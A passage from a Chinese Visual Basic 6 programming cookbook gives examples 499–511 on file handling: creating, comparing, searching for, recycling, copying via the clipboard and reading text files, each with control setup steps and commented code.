Public Declare Function lwrite Lib "kernel32" Alias "_lwrite" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal wBytes As Long) As Long




参数说明

❶hFile：类型Long，文件句柄。

❷lpBuffer：类型String，指定一个内存块的指针，把这个内存块的数据写入文件。

❸wBytes：类型Long，要写入的字节数。

设计过程

（1）新建标准EXE工程。

在窗体中添加两个CommandButton控件，分别命名为Cmd_Create、Cmd_Exit。Cmd_Create的Caption属性为“创建文本文件”；Cmd_Exit的Caption属性为“退出”。

（2）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（3）在窗体中添加一个Label控件，命名为Label1。Label1的AutoSize属性为True，BackStyle属性为0- Transparent，Caption属性为“文本内容：”。

（4）在窗体中添加一个TextBox控件，命名为Text1。Text的MultiLine属性为True，ScrollBars属性为2- Vertical。

（5）在CommandButton控件Cmd_Create的Click事件中通过使用API函数lcreat、lwrite、CloseHandle来创建文本文件、向文件填写信息，以及文件的关闭。事件中的代码如下：



Private Sub Cmd_Create_Click()
    Dim h As Long                                                    '声明长整型变量
    Dim str As String                                                '声明字符串型变量
    With Me.CommonDialog1                                            '复用语句
        .FileName = ""                                                '清空文件名
        .CancelError = False                                            '当单击“退出”按钮时不出错
        .Filter = "*.txt|*.txt"                                            '指定类型为txt
        .ShowOpen                                                '打开文件对话框
        If .FileName <> "" Then                                            '当已选择某文件
            str = .FileName                                            '保存选中的文件名称
            h = lcreat(str, 0)                                            '创建文件
            lwrite h, Text1.Text, LenB(StrConv(Text1.Text, vbFromUnicode))                '写入数据
            CloseHandle h                                            关闭文件
        End If
    End With
End Sub




秘笈心法

心法领悟499：lwrite函数小知识。

在使用API函数lwrite将数据写入文件时，需要指定数据的长度（以字节为单位）。当数据中包含中文时就需要首先将编码转为Unicode，然后使用LenB函数获取数据的长度。



 实例500　使用FSO对象创建文本文件

光盘位置：光盘\MR\16\500

中级

趣味指数：[image: ]




实例说明

本实例使用FSO对象在C盘根目录下创建名称为1的文本文件。运行程序，单击窗体，如图16.24所示；生成的文本文件内容如图16.25所示。



	[image: ]
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	图16.24　执行程序
	图16.25　生成的文件内容




关键技术

使用FSO对象的CreateTextFile方法可以创建指定名称的文本文件，语法如下：



object.CreateTextFile(filename[, overwrite[, unicode]])




参数说明如表16.6所示。

表16.6 CreateTextFile方法的参数说明



	参数
	70说明



	object
	对象表达式



	filename
	必选参数。类型String，用于指定创建文件的名称



	overwrite
	可选参数。类型Boolean，用于指定是否替换原文件



	unicode
	可选参数。类型Boolean，用于指定文件内容是否采用UNICODE编码




例如，在工程所在路径下创建名称为TESTFILE的文件，代码如下：



Dim FSO As New FileSystemObject                        '创建FSO对象
Dim TS As TextStream                                '声明TextStream变量
Set TS = FSO.CreateTextFile("TESTFILE", True, True)                '实例化TextStream对象




设计过程

（1）新建标准EXE工程。

（2）在窗体中添加一个DirListBox控件，命名为Dir1。

（3）在窗体中添加一个DriveListBox控件，命名为Drive1。

（4）在窗体中添加一个ListBox控件，命名为List1。

（5）在窗体中添加一个Label控件，命名为Label1。Label1的Caption属性为“单击窗体执行”。

（6）在窗体的Click事件中的代码用于创建文本文件并向文件添加信息，代码如下：



Private Sub Form_Click()
    Dim MyFSO As New FileSystemObject                                '创建FSO对象
    Dim MyTS As TextStream                                        '声明TextStream变量
    Set MyTS = MyFSO.CreateTextFile("c:\1.txt", True, True)                    '实例化TextStream对象
    MyTS.WriteLine "明日科技"                                        '添加信息
    MyTS.Close                                                '文件关闭
End Sub




秘笈心法

心法领悟500：文件的覆盖。

当目标文件已经存在，如果将CreateTextFile方法的overwrite参数设置为True，即可实现文件的覆盖。



 实例501　比较文件

光盘位置：光盘\MR\16\501

中级

趣味指数：[image: ]




实例说明

本实例用于判断两个文件中的内容是否相同。运行本实例程序，单击<<按钮选择文件一以及文件二。选择完毕后单击“比较”按钮，当内容相同时程序显示效果如图16.26所示。

[image: ]
图16.26　比较文件



关键技术

比较两个文件是否相同首先要判断两个文件的长度是否相同，如果相同再进行下一步的比较。

文件比较时，通过使用Get语句同时获取两个文件内的相同位置以及相同长度的数据。数据获取后使用“=”或“<>”运算符对获取的数据进行比较。如果两个数据相同那么就进行下一轮的比较，如果不同则立即跳出过程。关于Get语句的使用方法可以参见本章中实例“获取文件特征码”。

设计过程

（1）新建标准EXE工程。

（2）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（3）在窗体中添加4个CommandButton控件，分别命名为Cmd_Close、Cmd_Compare、Cmd_Second、Cmd_First。Cmd_Close的Caption属性为“退出”；Cmd_Compare的Caption属性为“比较”；Cmd_First的Caption 属性为“<<”；Cmd_Second的Caption属性为“<<”。

（4）在窗体中添加3个Label控件，分别命名为Label1、Label2、Label3。Label1的AutoSize属性为True，BackStyle属性为0-Transparent，Caption属性为“文件一”；Label2的AutoSize属性为True，BackStyle属性为0-Transparent，Caption属性为“文件二”；Label3的AutoSize属性为True。

（5）在窗体中添加两个TextBox控件，分别命名为Txt_First、Txt_Second。

（6）创建自定义函数CompFile用于比较两个文件是否相同。该函数具有两个形式参数，它们用来传递文件的路径以及文件名。比较完毕后，函数CompFile可以返回布尔类型的返回值。当返回值为True，表明两个文件内容相同；当返回值为False，表明两个文件内容不同。自定义函数CompFile的创建代码如下：



Private Function CompFile(F1 As String, F2 As String) As Boolean
    Dim issame As Boolean                                            '声明布尔类型变量
    Open F1 For Binary As #1                                            '以二进制形式打开文件
    Open F2 For Binary As #2                                            '以二进制形式打开文件
    issame = True                                                    '标识，表示文件内容相同
    If LOF(1) <> LOF(2) Then                                            '当文件长度不同
        issame = False                                                '标识，表示文件内容不同
        Close                                                    '关闭所有打开的文件
    Else                                                        '如果长度相同
        whole& = LOF(1) \ 10000                                        '获取循环的终点
        part& = LOF(1) Mod 10000                                        '指定用于比较的数据块的长度
        buffer1$ = String$(10000, 0)                                        '生成长度为10000的字符串
        buffer2$ = String$(10000, 0)                                        '生成长度为10000的字符串
        start& = 1                                                    '设置数据读取的起点
        For x& = 1 To whole&                                            'For循环，用于进行数据分块比较
            Get #1, start&, buffer1$                                        '获取第一个文件数据块内容
            Get #2, start&, buffer2$                                        '获取第二个文件数据块内容
            If buffer1$ <> buffer2$ Then                                    '当两个数据块内容不同
                issame = False                                            '标识，表示文件内容不同
                Exit For                                                '退出循环
            End If
            start& = start& + 10000                                        '重新设置数据读取的起点
        Next
        buffer1$ = String$(part&, 0)                                        '重新设置字符串的长度
        buffer2$ = String$(part&, 0)                                         '重新设置字符串的长度
        Get #1, start&, buffer1$                                            '获取第一个文件数据块内容
        Get #2, start&, buffer2$                                            '获取第二个文件数据块内容
        If buffer1$ <> buffer2$ Then                                        '当两个数据块内容不同
            issame = False                                            '标识，表示文件内容不同
        End If
        Close                                                    '关闭所有打开的文件
        CompFile = issame                                            '函数返回值
    End If
End Function




秘笈心法

心法领悟501：文件长度与文件的比较。

众所周知，两个文件的长度如果不同，那么这两个文件中的内容必然是不同的。为了节约比较判断的时间，首先应判断两个文件长度是否相同，如果相同再对文件进行逐块的比较。



 实例502　判断文件是否存在

光盘位置：光盘\MR\16\502

初级

趣味指数：[image: ]




实例说明

本实例用于判断文件是否存在。运行本实例程序，在文本框中输入文件路径，并单击“判断”按钮，如果指定的文件存在就弹出对话框提示“文件存在”，如图16.27所示。

[image: ]
图16.27　判断文件是否存在



关键技术

判断文件是否存在通过使用Dir函数实现。如果该函数的返回值为True就说明指定的文件存在，否则反之。


说明：
 Dir函数的详细讲解请参见实例485中的关键技术。

设计过程

（1）新建标准EXE工程，

（2）在窗体中添加两个CommandButton控件，分别命名为Cmd_Close、Cmd_Judge。Cmd_Close的 Caption属性为“关闭”；Cmd_Judge的Caption属性为“判断”。

（3）在窗体中添加一个Label控件，命名为Label1。Label1的AutoSize属性为True，BackStyle属性为0-Transparent，Caption属性为“文件路径：”。

（4）在窗体中添加一个TextBox控件，命名为Txt_Path。

（5）创建自定义过程FileExists用于判断文件是否存在。该函数具有一个形式参数用于传递文件的路径以及名称，过程中的代码如下：



Private Function FileExists(FileName As String) As Boolean
    On Error Resume Next                                            '忽略程序异常
    FileExists = Dir$(FileName) <> ""                                    '函数返回值为逻辑表达式的返回值
    If Err.Number <> 0 Then                                        '当过程中有异常
        FileExists = False                                            '函数返回值设置为False
    End If
    On Error GoTo 0                                            '停止忽略错误
End Function




秘笈心法

心法领悟502：运算符的优先级。

因为逻辑运算符<>的优先级高于赋值运算符=，所以在本实例代码中的变量FileExists保存的是逻辑表达式的返回值。



 实例503　搜索文件

光盘位置：光盘\MR\16\503

中级

趣味指数：[image: ]




实例说明

[image: ]
图16.28　搜索文件



在操作系统中提供了文件搜索的功能，用户只要输入要搜索的文件名称就可以找到该文件。使用VB也能打造属于自己的搜索文件程序。在向大家介绍打造搜索文件程序前，先看一下程序的运行效果。运行本实例程序，输入指定搜索路径以及搜索文件名称后，单击“搜索”按钮，显示结果如图16.28所示。

关键技术

实现文件的搜索通过使用Dir函数与GetAttr函数实现。设计思路如下：

（1）使用Dir函数列举指定目录下的符合查询条件的文件名称。

（2）使用GetAttr函数判断目录中的对象类型，如果该对象是文件夹，那么就采用过程递归的方式获取子文件夹中符合查询条件的文件名称。

设计过程

（1）新建标准EXE工程，

（2）  在窗体中添加两个CommandButton控件，分别命名为Cmd_Close、Cmd_Search。Cmd_Close的Caption属性为“关闭”；Cmd_Search的Caption属性为“搜索”。

（3）在窗体中添加3个Label控件，分别命名为Label1、Label2、Label3。Label1的AutoSize属性为True，Caption属性为“指定搜索路径：”；Label2的AutoSize属性为True，Caption属性为“搜索文件名称：”；Label3的AutoSize属性为True，Caption属性为“文件列表：”。

（4）在窗体中添加一个ListBox控件，命名为List1。

（5）在窗体中添加两个TextBox控件，分别命名为Txt_FileName、Txt_Path。

（6）创建自定义过程TreeSearch用于搜索文件，它具有3个形式参数分别用于传递搜索的路径、搜索的文件名和保存搜索到的文件名称的数组。过程内部的代码如下：



Private Function TreeSearch(ByVal sPath As String, ByVal sFileSpec As String, sFiles() As String) As Long
    DoEvents                                            '将控制权交予系统
    Static Files As Long                                        '声明长整型变量，用于保存文件数目
    Dim sDir As String                                        '声明字符串类型变量
    Dim sSubDirs() As String                                    '用于存放子目录名称
    Dim Index As Long                                        '用于记录子文件夹个数
    If Right(sPath, 1) <> "\" Then sPath = sPath & "\"                        '当路径最后一个字符不为“\”，就连接“\”
    sDir = Dir(sPath & sFileSpec)                                    '保存文件的名称
    '获得当前目录下文件名和数目
    Do While Len(sDir)                                        '当文件名不为空字符串
        Files = Files + 1                                        '文件数目递增
        ReDim Preserve sFiles(1 To Files)                            '分配动态数组的下界与上界
        sFiles(Files) = sPath & sDir                                '设置数组元素保存的文件路径以及名称
        sDir = Dir                                            '获取下一文件的文件名称
    Loop
    '获得当前目录下的子目录名称
    Index = 0                                            '子目录个数归0
    sDir = Dir(sPath & "*.*", 16)                                    '获取子文件夹名称
    Do While Len(sDir)                                        '当获取的子文件名称不为空字符串
        If Left(sDir, 1) <> "." Then                                '当获取的子文件夹名称第一个字符不为点号
            '找出子目录名
            If GetAttr(sPath & sDir) And vbDirectory Then                    '当获取的是子文件夹名称
                Index = Index + 1                                '增加子文件夹个数
                '保存子目录名
                ReDim Preserve sSubDirs(1 To Index)                    '定义动态数组下界与上界，并保留数据
                '设置数组元素保存的子文件夹路径以及名称
                sSubDirs(Index) = sPath & sDir & "\"
            End If
        End If
        sDir = Dir                                            '获取下一个子文件夹名称
    Loop
    '查找每一个子目录下文件，这里利用了递归
    For Index = 1 To Index
        Call TreeSearch(sSubDirs(Index), sFileSpec, sFiles())                '递归调用
    Next Index
    TreeSearch = Files                                        '设置函数返回值
End Function




秘笈心法

心法领悟503：获取子文件夹名称。

使用Dir函数并将参数attributes设置为常数vbDirectory或16，返回的只能是指定路径下的文件夹名称。



 实例504　将文件删除至“回收站”

光盘位置：光盘\MR\16\504

中级

趣味指数：[image: ]




实例说明

为了防止在对程序操作时，误将某些文件删除或需要找回被删除的文件，就要求程序能够实现将文件删除至“回收站”的功能。在这里通过对本实例的介绍来讲述实现本实例程序功能的方法。运行本实例程序，选中欲删除的文件，单击“删除”按钮，如图16.29所示。在弹出的“确认文件删除”对话框中单击“是(Y)”按钮，确认将文件删除至“回收站”，如图16.30所示。
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	图16.29　将文件删除至“回收站”
	图16.30　“确认文件删除”对话框




关键技术

实现将文件删除至“回收站”，主要通过使用API函数SHFileOperation实现。关于该函数的详细介绍请参见实例“利用API函数SHFileOperation复制文件”中的介绍。在本实例中的关键在于对SHFILEOPSTRUCT结构成员wFunc、pFrom、fFlags的设置。将wFunc成员值指定为常数FO_DELETE表明要执行的操作为“删除”；pFrom用于指定被删除的路径以及名称；将fFlags成员值指定为常数FOF_ALLOWUNDO表示允许删除后恢复。

设计过程

（1）新建标准EXE工程。

（2）在窗体中添加两个CommandButton控件，分别命名为Command1、Command2。Command1的Caption属性为“删除”；Command2的Caption属性为“退出”。

（3）在窗体中添加一个DirListBox控件，命名为Dir1。

（4）在窗体中添加一个DriveListBox控件，命名为Drive1。

（5）在窗体中添加一个FileListBox控件，命名为File1。

（6）在窗体中添加一个Frame控件，命名为Frame1。

（7）创建自定义过程GetFilePath，用于获取在文件列表框中被选中文件的路径，代码如下：



Private Function GetFilePath() As String
    If Right(File1.Path, 1) = "\" Then                                    '当文件路径最后一字符为“\”
        GetFilePath = File1.Path & File1.FileName                            '连接文件路径与文件名称
    Else                                                    '当文件路径最后一字符不为“\”
        GetFilePath = File1.Path & "\" & File1.FileName                        '文件路径与文件名称间插入“\”
    End If
End Function




在Command控件Command1的Click事件中通过使用API函数SHFileOperation实现本实例的功能，代码如下：



Private Sub Command1_Click()
    Dim FileOperation As SHFILEOPSTRUCT                                '声明SHFILEOPSTRUCT结构变量
    Dim lReturn As Long                                            '声明长整型变量
    Dim sTempFileName As String                                    '字符串类型变量
    sTempFileName = GetFilePath                                    '指定文件路径以及名称
    With FileOperation                                            '复用语句
        .wFunc = FO_DELETE                                        '指定操作为“删除”
        .pFrom = sTempFileName                                    '指定删除文件的路径以及名称
        .fFlags = FOF_ALLOWUNDO                                    '允许删除后恢复
    End With
    lReturn = SHFileOperation(FileOperation)                                '删除文件
    File1.Refresh                                                '刷新文件列表
End Sub




秘笈心法

心法领悟504：回收站中的文件无文件名的原因。

使用API函数将文件删除至回收站时，对文件路径的规范要求非常严格，不允许出现类似C:\Temp\\filter的路径。如果在路径中连续出现两个“\”，在回收站中的文件将无文件名称。



 实例505　VB与Windows资源管理器互拷文件

光盘位置：光盘\MR\16\505

高级

趣味指数：[image: ]




实例说明

如今的文件处理程序通常需要与Windows操作系统的资源管理器进行交互。换句话说，就是在程序中选中的文件可以通过剪贴板复制到资源管理器中；资源管理器中的文件也可以复制到程序文件列表中。例如，运行本实例程序，选中文件列表中的C2.EXE，单击“复制”按钮，提示“拷贝文件成功”，如图16.31所示；在资源管理器中单击鼠标右键，在弹出的快捷菜单中选择“粘贴”命令，将文件列表中被选中的文件复制到资源管理器中某一路径下，如图16.32所示。
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	图16.31　复制文件
	图16.32　粘贴文件后




关键技术

实现VB与Windows资源管理器互拷文件的功能，主要通过“在堆中分配内存”、“锁定内存对象”、“复制内存块”、“设置剪贴板中数据”4个步骤实现。接下来对每个步骤的实现方法进行介绍。

（1）在堆中分配内存

在堆中分配内存通过使用API函数GlobalAlloc实现，语法如下：



Public Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long




返回值：如果函数执行成功，返回值为新分配内存对象的句柄；如果失败，则返回值为Null。

参数说明

❶wFlags：类型Long，用于指定如何去分配内存。

❷dwBytes：类型Long，指定分配内存的长度（以字节为单位）。

（2）锁定内存对象

锁定内存对象并返回一个指针通过使用API函数GlobalLock实现，语法如下：



Public Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long




参数说明

hMem：内存对象的句柄。该句柄可以是API函数GlobalAlloc或GlobalReAlloc的返回值。

（3）复制内存块

将内存中的数据从一个位置复制到另一位置，通过使用API函数CopyMemory实现，语法如下：



Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)




参数说明

❶Destination：要复制内存块的目的地址。

❷Source：要复制内存块的源地址。

❸Length：指定要复制内存块的大小，单位为字节。

（4）设置剪贴板中数据

设置剪贴板中的数据通过使用API函数SetClipboardData实现，语法如下：



Public Declare Function SetClipboardData Lib "user32" Alias "SetClipboardDataA" (ByVal wFormat As Long, ByVal hMem As Long) As Long




参数说明

❶wFormat：用于指定剪贴板的格式。

❷hMem：指定格式数据的句柄。

设计过程

（1）新建标准EXE工程。

（2）在窗体中添加3个CommandButton控件，分别命名为Cmd_Close、Cmd_Copy、Cmd_Paste。Cmd_Close的Caption属性为“关闭”；Cmd_Copy的Caption属性为“复制”；Cmd_Paste的Caption属性为“粘贴”。

（3）在窗体中添加一个DirListBox控件，命名为Dir1。

（4）在窗体中添加一个DriveListBox控件，命名为Drive1。

（5）在窗体中添加一个FileListBox控件，命名为File1。

（6）创建自定义过程clipCopyFiles用于将在列表框中被选中的文件复制进入剪贴板。该自定义函数具 有一个形式参数，用于传递字符串类型的数组。函数内部的具体代码如下：



Private Function clipCopyFiles(Files() As String) As Boolean
    Dim data As String                                            '声明字符串类型变量
    Dim df As DROPFILES                                        '声明DROPFILES结构变量
    Dim hGlobal As Long                                            '声明长整型变量
    Dim lpGlobal As Long                                            '声明长整型变量
    Dim i As Long                                                '声明长整型变量
    If OpenClipboard(0&) Then                                        '打开剪贴板
        Call EmptyClipboard                                        '清空剪贴板
        For i = LBound(Files) To UBound(Files) 
            data = data & Files(i) & vbNullChar                            '字符串连接
        Next i
        data = data & vbNullChar
        hGlobal = GlobalAlloc(GHND, Len(df) + Len(data))                        '为剪贴板复制操作分配相应大小的内存
        If hGlobal Then                                            '如果内存分配成功
            lpGlobal = GlobalLock(hGlobal)                                '锁定内存对象
            df.pFiles = Len(df)                                        '将DropFiles结构复制到内存中
            Call CopyMem(ByVal lpGlobal, df, Len(df))                        '将文件全路径名复制到分配的内存中
            Call CopyMem(ByVal (lpGlobal + Len(df)), ByVal data, _
                 Len(data))
            Call GlobalUnlock(hGlobal)                                '开锁全局内存块
            If SetClipboardData(CF_HDROP, hGlobal) Then                    '将数据复制到剪贴板上
                clipCopyFiles = True                                    '自定义函数返回值
            End If
        End If
        Call CloseClipboard                                        '关闭剪贴板
    End If
End Function




在CommandButton控件Cmd_Copy 的Click事件中，通过调用自定义过程clipCopyFiles实现将在列表框中被选中的文件复制进入剪贴板，具体代码如下：



Private Sub Cmd_Copy_Click()
    Dim Files() As String                                            '声明字符串类型的动态数组
    Dim Path As String                                            '声明字符串类型的变量
    Dim i As Long, n As Long                                        '声明两个长整型变量
    Path = Dir1.Path                                            '保存目录列表项的路径
    If Right(Path, 1) <> "\" Then                                        '如果路径最后一字符不为“\”
        Path = Path & "\"                                            '路径后追加“\”
    End If
    With File1                                                '复用语句
        For i = 0 To .ListCount - 1                                    '循环遍历列表项
            If .Selected(i) Then                                        '当列表项被选中
                ReDim Preserve Files(0 To n) As String                        '调整动态数组的下界与上界
                Files(n) = Path & .List(i)                                '设置数值元素数据
                n = n + 1                                        '计数器累加
            End If
        Next i
    End With                                                '结束复用语句
    If clipCopyFiles(Files) Then                                        '复制到剪贴板
        MsgBox "文件复制成功.",  ,"成功"
    Else
        MsgBox "无法复制文件…",  ,"失败"
    End If
End Sub




秘笈心法

心法领悟505：堆内存剩余空间与堆中分配内存。

在使用API函数GlobalAlloc分配内存时，如果对内存的剩余空间不能够满足分配内存的请求，GlobalAlloc的返回值就为Null。



 实例506　选择执行具有特定标识的程序

光盘位置：光盘\MR\16\506

中级

趣味指数：[image: ]




实例说明

某些应用程序具有其特定的标识，通过这些标识可以得知这些应用程序是使用什么开发环境编译的，或者是由什么程序生成的。例如，本实例程序通过获取标识来判断可执行文件是否是由“屏幕录像专家”创建的。运行本实例程序，双击文件列表中的某一列表项，当选中的程序不是由“屏幕录像专家”生成的，就弹出如图16.33所示的对话框；如果是“屏幕录像专家”生成的，就执行该程序开始视频的播放。

[image: ]
图16.33　选择执行具有特定标识的程序



关键技术

获取应用程序的特定标识，首先需要使用Get语句从某程序中获取指定位置的数据（数据保存形式为字节类型数组），然后使用StrConv函数将字节类型数组转换为字符串，最后根据获取的字符串对标识进行判断。

Get语句由于在本章的前面部分已经介绍过了，这里不再赘述。


说明：
 StrConv函数的详细讲解请参见实例419中的关键技术。

例如，将字符串abcd转换为ABCD，代码如下：



str = "abcd"
str = StrConv(str, vbUpperCase)




设计过程

（1）新建标准EXE工程。

（2）在窗体中添加一个DirListBox控件，命名为Dir1。

（3）在窗体中添加一个DriveListBox控件，命名为Drive1。

（4）在窗体中添加一个FileListBox控件，命名为File1。File1的Pattern属性为“*.exe”。

（5）在FileListBox控件File1的DblClick事件中的代码用于实现本实例的功能，代码如下：



Private Sub File1_DblClick()
    '声明长整型变量、字节类型数组、整型变量
    Dim Flen As Long, Data(8) As Byte, Ffree As Integer
    Flen = FileSystem.FileLen(File1.Path & "\" & File1.FileName)                '获取文件长度
    Ffree = FileSystem.FreeFile                                    '空闲文件编号
    Open File1.Path & "\" & File1.FileName For Binary As #Ffree                '以二进制形式打开文件
    Get #Ffree, Flen - 11, Data                                    '获取指定位置的数据
    Close #Ffree                                            '关闭文件
    If UCase(StrConv(Data, vbUnicode)) = UCase("pmlxzjtlx") Then            '当数据与指定标识符相同时
        Shell File1.Path & "\" & File1.FileName                        '打开文件
    Else
        '弹出对话框，提示程序未执行的原因
        MsgBox "应用程序中未出现指定的标识，无法运行", vbCritical,"明日图书"
    End If
End Sub




秘笈心法

心法领悟506：标识符字符串的比较。

由于生成可执行文件的开发环境以及程序的版本不同，所以采用的标识符有可能存在大小写的差异。为了防止因大小写不同而无法调用可执行文件，就需要在比较时忽略大小写。在实例506中将获取的标识符与指定的标识符都设置为大写，实现了比较时忽略大小写。


 16.3　文件打开与读取、写入



 实例507　获取已经打开的文件的大小

光盘位置：光盘\MR\16\507

初级

趣味指数：[image: ]




实例说明

本实例用来获取已经打开的文件的大小。运行程序，单击“获取”按钮，即可将文件的大小显示在下面的标签中，如图16.34所示。

[image: ]
图16.34　利用LOF函数获取打开的文件的大小



关键技术

本实例主要通过LOF函数来实现。


说明：
 LOF函数的详细讲解请参见实例158中的关键技术。

例如，获取工程所在路径下的文件TESTFILE内含文本数据，代码如下：



Dim FileLength
Open "TESTFILE" For Input As #1                                    '打开文件
FileLength = LOF(1)                                                '取得文件长度
Close #1                                                    '关闭文件




设计过程

（1）新建标准EXE工程。

（2）在窗体上添加两个CommandButton，分别命名为Command1、Command2。Command1的Caption属性为“获取”；Command2的Caption属性为“退出”。

（3）在窗体上添加两个Label控件，分别命名为Label1、Label2。Label1的AutoSize属性为True；Label2的Caption为“单击‘获取’按钮，获取当前工程下的MyFile.ini文件的大小”。

（4）在CommandButton控件Command1的Click事件中的代码用于获取打开文件的大小，代码如下：



Private Sub Command1_Click()
    Dim MyLength                                                    '声明变量
    Open App.Path & "\MyFile.ini" For Input As #1                                '打开文件
    MyLength = LOF(1)                                                '取得文件长度
    Label1.Caption = "已打开的文件长度为：" & MyLength & "字节！"
    Close #1                                                        '关闭文件
End Sub




秘笈心法

心法领悟507：文件内容的直接读取。

当采用二进制方式打开文件时，使用LOF函数并与Input函数配合，可以直接读取文件中的全部内容。



 实例508　设置随机访问文件的读取位置

光盘位置：光盘\MR\16\508

初级

趣味指数：[image: ]




实例说明

本实例用来设置随机访问文件的读取位置。例如，从文本文件MyFile.txt的第5个字节开始读取，运行程序，单击“读取”按钮，文本框内显示的内容如图16.35所示。MyFile.txt文件中的内容如图16.36所示。



	[image: ]

	[image: ]




	图16.35　从第5个字节开始读取的结果
	图16.36　文件内容




关键技术

利用Seek语句可以设置下一个读/写操作的位置，语法如下：



Seek [#]filenumber,position




参数说明

❶filenumber：代表文件号。

❷position：代表下一个读写操作将要发生的位置。position的有效范围介于1～2147483647之间。

例如，以随机方式打开文件使用Seek语句将读写位置设置到下一个记录，主要代码如下：



Dim MyRecord As Record, MaxSize, RecordNumber                        '声明变量
Open "TESTFILE" For Random As #1 Len = Len(MyRecord)                    '以随机文件方式打开文件
MaxSize = LOF(1) \ Len(MyRecord)                                '取得文件中的记录的数
For RecordNumber = MaxSize To 1 Step - 1                            '用循环读入所有记录，但是从最后的记录开始往前读
    Seek #1, RecordNumber                                    '设置读写位置
    Get #1, , MyRecord                                        '读入一个记录
Next RecordNumber
Close #1                                                '关闭文件




设计过程

（1）新建标准EXE工程。

（2）在窗体中添加一个CommandButton控件，命名为Command1，并且将Caption属性设置为“读取”。

（3）在窗体中添加一个TextBox控件，命名为Text1。

（4）在CommandButton控件Command1的Click事件中的代码用于从文件路径中获取文件名，代码如下：



Private Sub Command1_Click()
    Dim str As String * 10                                            '声明定长字符串，长度10
    Open App.Path & "\MyFile.txt" For Binary As #1                            '打开文件
    Seek #1, 5                                                '读取位置定于5
    Get #1, , str                                                '根据读取位置获取内容
    Text1.Text = str                                                '显示读取内容
    Close #1                                                    '关闭文件
End Sub




秘笈心法

心法领悟508：文件访问方式对Seek函数的影响。

如果采用随机访问方式，Seek函数返回的将是下一个读出或写入的记录号。Binary、Output、Append、Input下一个操作将要发生时所在的字节位置。文件中的第一个字节位于位置1，第二个字节位于位置2，依此类推。



 实例509　从文件逐行获取信息

光盘位置：光盘\MR\16\509

初级

趣味指数：[image: ]




实例说明

本实例用于从文件逐行获取信息。例如，对程序所在路径下的文本文件MyFile.txt进行逐行读取。运行程序，单击“获取”按钮，文本框内显示的内容如图16.37所示。

[image: ]
图16.37　从文件逐行获取信息



关键技术

从文件逐行获取信息可以通过Line Input #语句实现，语法如下：

Line Input #filenumber, varname

参数说明

❶filenumber：必选参数。任何有效的文件号。

❷varname：必选参数。有效的Variant或String变量名。

例如，逐行输出工程所在路径下的TESTFILE文件内包含的全部数据，代码如下：



Dim TextLine
Open "TESTFILE" For Input As #1                                    '打开文件
Do While Not EOF(1)                                            '循环至文件尾
    Line Input #1, TextLine                                        '读入一行数据并将其赋予某变量
    Debug.Print TextLine                                            '在立即窗口中显示数据
Loop
Close #1                                                    '关闭文件




设计过程

（1）新建标准EXE工程。

（2）在窗体中添加两个CommandButton控件，分别命名为Command1、Command2。设置Command1的Caption属性为“获取”；Command2的Caption属性为“退出”。

（3）在窗体中添加一个文本框控件，命名为Text1。Text1的MultiLine的属性为True，ScrollBars属性为 2-Vertical。

（4）在CommandButton控件Command1的Click事件中的代码用于从文件逐行获取信息，代码如下：



Private Sub Command1_Click()
    Dim InPutData                                                '声明变量
    Open App.Path & "\MyFile.txt" For Input As #1                            '打开文件
    Do While Not EOF(1)                                            '如果没到文件尾
        Line Input #1, InPutData                                        '逐行获取数据
        Text1.Text = Text1.Text + InPutData + vbCrLf                        '显示全部文件数据
    Loop
    Close #1                                                    '关闭文本
End Sub




秘笈心法

心法领悟509：Line Input #语句的读取机制。

Line Input #语句一次只从文件中读出一个字符，直到遇到回车符(Chr(13))或回车-换行符(Chr(13) + Chr(10)) 为止。回车-换行符将被跳过，而不会被附加到字符串上。



 实例510　从文件逐字符获取信息

光盘位置：光盘\MR\16\510

初级

趣味指数：[image: ]




实例说明

本实例用于从文件逐字符获取信息。例如，对程序所在路径下的文本文件MyFile.txt进行逐字读取。运行程序，单击“读取”按钮，文本框内显示的内容如图16.38所示。

[image: ]
图16.38　从文件逐字符获取信息



关键技术

本实例实现的是利用Input函数从文件中每次读出一个字符，直到循环到文件的结尾为止，并将读出的文件输出到TextBox控件中。

Input函数用于返回String类型的值，它包含以Input或Binary方式打开的文件中的字符，语法如下：



Input(number, [#]filenumber)




参数说明

❶number：必选参数。任何有效的数值表达式，指定要返回的字符个数。

❷filenumber：必选参数。任何有效的文件号。

例如，使用Input函数逐字获取工程路径下的TESTFILE文件内包含的全部数据，代码如下：



Dim MyChar
Open "TESTFILE" For Input As #1                                    '打开文件
Do While Not EOF(1)                                            '循环至文件尾
    MyChar = Input(1, #1)                                            '读入一个字符
    Debug.Print MyChar                                            '显示到立即窗口
Loop
Close #1                                                    '关闭文件




设计过程

（1）新建标准EXE工程。

（2）在窗体中添加两个CommandButton控件，分别命名为Command1、Command2。Command1的Caption 属性为“读取”；Command2的Caption属性为“退出”。

（3）在窗体中添加一个TextBox控件，命名为Text1。Text的MultiLine属性为True。

（4）在CommandButton控件Command1的Click事件中的代码用于从文件逐字获取信息，代码如下：



Private Sub Command1_Click()                                        '读取文件
    Dim MyStr
    Open App.Path & "\MyFile.ini" For Input As #1                            '打开文件
    Do While Not EOF(1)                                            '循环至文件尾
        MyStr = Input(1, #1)                                        '读入一个字符
        Text1.Text = Text1.Text & MyStr                                '追加至文本框内
    Loop
    Close #1                                                    '关闭文件
End Sub




秘笈心法

心法领悟510：文件尾的判断机制。

到达文件的结尾前，EOF函数都返回False。对于为访问Random或Binary打开的文件，在使用Get语句无法读出完整的记录前，EOF都返回False。



 实例511　从文件一次性获取信息

光盘位置：光盘\MR\16\511

初级

趣味指数：[image: ]




实例说明

本实例用于从文件一次性获取信息。例如，对程序所在路径下的文本文件MyFile.txt进行读取。运行程序，单击“读取”按钮，文本框内显示的内容如图16.39所示。

[image: ]
图16.39　从文件一次性获取信息



关键技术

本实例实现的是利用Input函数与LOF函数从文件一次性获取信息。Input函数在实例510中已经介绍过，这里不再赘述。接下来对本实例中起到关键作用的LOF函数的语法进行介绍。


说明：
 LOF函数的详细讲解请参见实例158中的关键技术。

例如，获取工程路径下的文件TESTFILE的大小（以字节为单位），代码如下：



Dim FileLength
Open "TESTFILE" For Input As #1                                '打开文件
